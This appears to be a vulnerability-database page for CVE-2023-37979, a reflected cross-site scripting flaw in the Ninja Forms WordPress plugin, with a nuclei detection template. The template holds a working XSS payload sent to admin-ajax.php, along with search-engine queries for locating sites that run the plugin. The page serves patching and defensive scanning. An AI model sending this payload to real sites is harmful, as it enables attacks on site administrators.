HexBrain

Browse / CVEs / CVE-2023-37979

CVE-2023-37979· ninjaforms / ninja forms· CWE-79

Ninja Forms < 3.6.26 - Cross-Site Scripting

mediumseverity
6.1CVSS score
9.7%likelihood of exploitation, next 30 days
96%of all CVEs are less likely
Readycheck to confirm it

The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin

Impact

Authenticated attackers can inject malicious JavaScript through unsanitized parameters in AJAX actions to steal session cookies from high-privilege users including WordPress administrators.

Fix

Fixed in version 3.6.26

How to confirm it

Send: POST /wp-login.php ; POST /wp-admin/admin-ajax.php
Positive when: contains(content_type_2, "text/html") and contains(body_2, "<img src=onerror=alert(document.domain)>") && contains(body_2, "import_form_template") and status_code_2 == 200

Run it with nuclei: nuclei -id CVE-2023-37979 -u <target>

The full check
id: CVE-2023-37979

info:
  name: Ninja Forms < 3.6.26 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin
  impact: |
    Authenticated attackers can inject malicious JavaScript through unsanitized parameters in AJAX actions to steal session cookies from high-privilege users including WordPress administrators.
  remediation: Fixed in version 3.6.26
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-37979
    - https://wpscan.com/vulnerability/3c7c65e9-c4fd-4d98-ae16-77abffbf7348
    - https://packetstormsecurity.com/files/173983/WordPress-Ninja-Forms-3.6.25-Cross-Site-Scripting.html
    - http://packetstormsecurity.com/files/173983/WordPress-Ninja-Forms-3.6.25-Cross-Site-Scripting.html
    - https://patchstack.com/articles/multiple-high-severity-vulnerabilities-in-ninja-forms-plugin?_s_id=cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-37979
    cwe-id: CWE-79
    epss-score: 0.09707
    epss-percentile: 0.95552
    cpe: cpe:2.3:a:ninjaforms:ninja_forms:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: ninjaforms
    product: ninja_forms
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/ninja-forms/
    fofa-query: body=/wp-content/plugins/ninja-forms/
    publicwww-query: /wp-content/plugins/ninja-forms/
  tags: cve2023,cve,wpscan,packetstorm,xss,wordpress,authenticated,wp-plugin,wp,ninjaforms,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=nf_batch_process&batch_type=import_form_template&extraData%5Btemplate%5D=formtemplate-contactformd&method_override=_respond&data=Mehran%7D%7D%3Cimg+src%3Donerror%3Dalert%28document.domain%29%3E

    matchers:
      - type: dsl
        dsl:
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "<img src=onerror=alert(document.domain)>") && contains(body_2, "import_form_template")'
          - 'status_code_2 == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from